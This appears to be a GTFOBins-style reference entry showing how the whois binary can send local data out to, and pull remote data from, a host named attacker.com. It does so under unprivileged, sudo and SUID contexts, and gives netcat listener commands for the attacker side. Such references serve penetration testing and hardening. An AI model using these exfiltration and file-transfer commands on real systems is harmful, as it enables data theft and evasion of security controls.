whois

Upload

This executable can upload local data.

CommentData is converted to lower case, and has a trailing \r\n.
Unprivileged
This function can be performed by any unprivileged user.
```
whois -h attacker.com -p 12345 DATA
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
whois -h attacker.com -p 12345 DATA
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
whois -h attacker.com -p 12345 DATA
```
RemarksThe content is corrupted or otherwise altered by the process, thus it might not be suitable for handling arbitrary binary data.
ReceiverA TCP server can be used on the attacker box to receive the data.
```
nc -l -p 12345 >/path/to/output-file
```

Download

This executable can download remote data.

CommentReceived data has instances of the \r byte stripped.
Unprivileged
This function can be performed by any unprivileged user.
```
whois -h attacker.com -p 12345 x
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
whois -h attacker.com -p 12345 x
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
whois -h attacker.com -p 12345 x
```
SenderA TCP server can be used on the attacker box to send the data.
```
nc -l -p 12345 </path/to/input-file
```